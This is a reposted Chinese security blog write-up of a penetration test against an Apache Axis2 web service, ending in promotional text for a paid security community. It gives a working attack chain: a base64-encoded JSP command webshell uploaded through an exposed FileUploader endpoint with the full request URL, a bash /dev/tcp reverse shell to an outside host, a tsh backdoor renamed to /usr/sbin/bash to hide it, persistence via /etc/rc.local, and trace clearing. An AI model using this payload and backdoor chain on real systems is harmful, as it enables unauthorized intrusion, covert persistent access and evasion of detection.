1. 威客安全首页
  2. 安全资讯

一次真实axis2渗透测试

请点击上面 一次真实axis2渗透测试 一键关注!

内容来源:先知社区

一次真实axis2渗透测试


一 、前言

最近在渗透测试中,遇到一个比较有趣的站,因此来分享一下


二 、信息收集

首先通过nmap进行端口扫描,同时通过dirsearch进行目录扫描,dirsearch扫描结果如下。
一次真实axis2渗透测试
通过目录扫描发现一些有用的信息

第一 axis2构建的webservice
第二 axis2的后台登录地址(/axis2/axis2-admin/)存在

一次真实axis2渗透测试
google axis2漏洞,发现多半都是默认口令进入后台上传war包getshell


三 、漏洞测试

访问后台地址,尝试默认口令admin/axis2,发现如下,顿时心凉半截

一次真实axis2渗透测试

尝试爆破,无果


一次真实axis2渗透测试
不甘心就此止步于此,于是尝试浏览网站,看看是否存在其他有价值的漏洞,直到发现了这个


一次真实axis2渗透测试


四、 柳暗花明

访问http://xxxxxx/axis2/services/FileUploader?wsdl 发现一个wsdl接口文档,名为uploadfile
一次真实axis2渗透测试


第一次看到一阵蒙,但内心坚定这里一定可以利用,于是各种百度,发现了如下文章
webservie+soap+wsdl入门
根据文章所讲,加上自己猜测,明白这是个可以上传文件的接口文档,根据文档简单来看
如下代码定义了传入的参数
documento表示上传内容,类型是base64Binary
ruta表示路径,类型是String
nombre表示文件名字,类型是String


一次真实axis2渗透测试


如下代码定义了上传访问路径(FileUploader/uploadFile),以及上传方式(post)

一次真实axis2渗透测试


结合以上,可以看出来这个接口文档告诉我们这里存在一个任意文件上传漏洞


1、上传jsp木马

一次真实axis2渗透测试

一次真实axis2渗透测试

一次真实axis2渗透测试


base64编码以上jsp木马

PCVAIHBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PWJ

pZzUiIHNlc3Npb249ImZhbHNlIiBpbXBvcnQ9ImphdmEuaW8uKiIgJT4KCjxodG1sPgoKPGhlYWQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiPgoKPC9oZWFkPgoKPGJvZHk+Cgo8JQoKICBSdW50aW1lIHJ1bnRpbWUgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsKCiAgUHJvY2VzcyBwcm9jZXNzID1udWxsOwoKICBTdHJpbmcgbGluZT1udWxsOwoKICBJbnB1dFN0cmVhbSBpcyA9bnVsbDsKCiAgSW5wdXRTdHJlYW1SZWFkZXIgaXNyPW51bGw7CgogIEJ1ZmZlcmVkUmVhZGVyIGJyID1udWxsOwoKICBTdHJpbmcgaXA9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwoKCiAgdHJ5CgogIHsKCiAgICBwcm9jZXNzID1ydW50aW1lLmV4ZWMoaXApOwoKICAgIGlzID0gcHJvY2Vzcy5nZXRJbnB1dFN0cmVhbSgpOwoKICAgIGlzcj1uZXcgSW5wdXRTdHJlYW1SZWFkZXIoaXMpOwoKICAgIGJyID1uZXcgQnVmZmVyZWRSZWFkZXIoaXNyKTsKCiAgICBvdXQucHJpbnRsbigiPHByZT4iKTsKCiAgICB3aGlsZSggKGxpbmUgPSBici5yZWFkTGluZSgpKSAhPSBudWxsICkKCiAgICB7CgogICAgICBvdXQucHJpbnRsbihsaW5lKTsKCiAgICAgIG91dC5mbHVzaCgpOwoKICAgIH0KCiAgICBvdXQucHJpbnRsbigiPC9wcmU+Iik7CgogICAgaXMuY2xvc2UoKTsKCiAgICBpc3IuY2xvc2UoKTsKCiAgICBici5jbG9zZSgpOwoKICB9CgogIGNhdGNoKElPRXhjZXB0aW9uIGUgKQoKICB7CgogICAgb3V0LnByaW50bG4oZSk7CgogICAgcnVudGltZS5leGl0KDEpOwoKICB9CgolPg==


构造payload如下

http://xxxxxx/axis2/services/FileUploader/uploadFile?documento=

PCVAIHBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PWJpZzUiIHNlc3Npb249ImZhbHNlIiBpbXBvcnQ9ImphdmEuaW8uKiIgJT4KCjxodG1sPgoKPGhlYWQ+Cgo8dGl0bGU+PC90aXRsZT4KCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiPgoKPC9oZWFkPgoKPGJvZHk+Cgo8JQoKICBSdW50aW1lIHJ1bnRpbWUgPSBSdW50aW1lLmdldFJ1bnRpbWUoKTsKCiAgUHJvY2VzcyBwcm9jZXNzID1udWxsOwoKICBTdHJpbmcgbGluZT1udWxsOwoKICBJbnB1dFN0cmVhbSBpcyA9bnVsbDsKCiAgSW5wdXRTdHJlYW1SZWFkZXIgaXNyPW51bGw7CgogIEJ1ZmZlcmVkUmVhZGVyIGJyID1udWxsOwoKICBTdHJpbmcgaXA9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwoKCiAgdHJ5CgogIHsKCiAgICBwcm9jZXNzID1ydW50aW1lLmV4ZWMoaXApOwoKICAgIGlzID0gcHJvY2Vzcy5nZXRJbnB1dFN0cmVhbSgpOwoKICAgIGlzcj1uZXcgSW5wdXRTdHJlYW1SZWFkZXIoaXMpOwoKICAgIGJyID1uZXcgQnVmZmVyZWRSZWFkZXIoaXNyKTsKCiAgICBvdXQucHJpbnRsbigiPHByZT4iKTsKCiAgICB3aGlsZSggKGxpbmUgPSBici5yZWFkTGluZSgpKSAhPSBudWxsICkKCiAgICB7CgogICAgICBvdXQucHJpbnRsbihsaW5lKTsKCiAgICAgIG91dC5mbHVzaCgpOwoKICAgIH0KCiAgICBvdXQucHJpbnRsbigiPC9wcmU+Iik7CgogICAgaXMuY2xvc2UoKTsKCiAgICBpc3IuY2xvc2UoKTsKCiAgICBici5jbG9zZSgpOwoKICB9CgogIGNhdGNoKElPRXhjZXB0aW9uIGUgKQoKICB7CgogICAgb3V0LnByaW50bG4oZSk7CgogICAgcnVudGltZS5leGl0KDEpOwoKICB9CgolPg==&ruta=./&nombre=2.jsp


访问链接,结果如下,表示成功得到一个jsp shell

一次真实axis2渗透测试

2、反弹shell

访问shell地址,执行反弹shell(信息收集阶段nmap发现为linux)

http://xxxx/axis2/2.jsp?cmd=bash -i >& /dev/tcp/外网ip/port 0>&1

执行反弹几次,发现一直不成功,最后通过测试,该主机对端口访问进行了限制,只能访问外网80端口,故反弹shell连接中port为80

一次真实axis2渗透测试


3、后门

当反弹shell后,发现是一台虚拟机,有点失望,但同时发现,该机具有多个内网网段,故打算留个后门以用来进行后面的内网渗透

一次真实axis2渗透测试

一次真实axis2渗透测试

我打算留下一个tsh后门,Tiny Shell 是一款开源的Unix类后门shell工具,由C语言编写,体积小(在kali系统上编译后只有55K大小)
该后门分为客户端和服务端,支持正向连接模式(即服务端在远程运行,使用者远程直接链接),和反弹连接模式(使用者在自己服务器监听,服务端链接监听端口)
后门下载地址:https://github.com/orangetw/tsh.git
下载tsh到自己服务器上,修改其中的tsh.h文件如下

一次真实axis2渗透测试


自己服务器上执行

一次真实axis2渗透测试


目标机器上通过wget下载tsh

一次真实axis2渗透测试
解压后进入tsh目录,然后执行编译(原本打算在自己服务器上编译后上传,结果因为库版本不同报错)

make linux


一次真实axis2渗透测试


把图中的tsh下载到自己的服务器上(在控制端执行监听)
一次真实axis2渗透测试


然后执行

./tsh cb


一次真实axis2渗透测试


将图下tshd重命名为bash,移动至/usr/sbin/bash(以达到更好隐藏自己的目的)

一次真实axis2渗透测试

然后执行(记住添加执行权限x)

./usr/sbin/bash


30秒钟左右,成功获取一个shell

一次真实axis2渗透测试


4、权限维持

如果,目标机器重启,则tsh后门将要失效,为了防止tsh失效,我们可以在/etc/rc.local文件中写入

/bin/bash /usr/sbin/bash


一次真实axis2渗透测试

因为在linux启动中,会执行/etc/rc.local中的代码
最后就是清楚自己留下的痕迹了


五、总结

在这次测试中,主要是明白了,开发总是会出现各种问题,一条路不通,走下一条路,才能在这其中学到跟多知识,更加希望大佬们指出其中的不足,感谢,感谢,感谢。

一次真实axis2渗透测试

「天億网络安全」 知识星球 一个网络安全学习的星球!星球主要分享、整理、原创编辑等网络安全相关学习资料,一个真实有料的网络安全学习平台,大家共同学习、共同进步!

知识星球定价:199元/年,(服务时间为一年,自加入日期顺延一年)。

如何加入:扫描下方二维码,扫码付费即可加入。

加入知识星球的同学,请加我微信,拉您进VIP交流群!

一次真实axis2渗透测试

加入群聊

为了【天億网络安全】微信群管理,想进群的朋友先加我好友,我拉你们进群,微信二维码如下:

一次真实axis2渗透测试

—THE END—

朋友都在看

▶️公安部 马力 | 网络安全等级保护2.0主要标准介绍

▶️等保2.0-新形势下如何建设等级保护

▶️干货 | 等保2.0新标准介绍

▶️重磅 |等保2.0正式发布,2019年12月1日实施

▶️等保2.0通用部分 | 安全区域边界(三级)测评指导书

天億网络安全

【欢迎收藏分享到朋友圈,让更多朋友了解网络安全,分享也是一种美德!】

一次真实axis2渗透测试

↑↑↑长按图片识别二维码关註↑↑↑


欢迎扫描关注【天億网络安全】公众号,及时了解更多网络安全知

原文始发于微信公众号(天億网络安全):一次真实axis2渗透测试

本文转为转载文章,本文观点不代表威客安全立场。

发表评论

登录后才能评论

联系我们

15110186328

在线咨询:点击这里给我发消息

邮件:zhanglei@jinlongsec.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code
X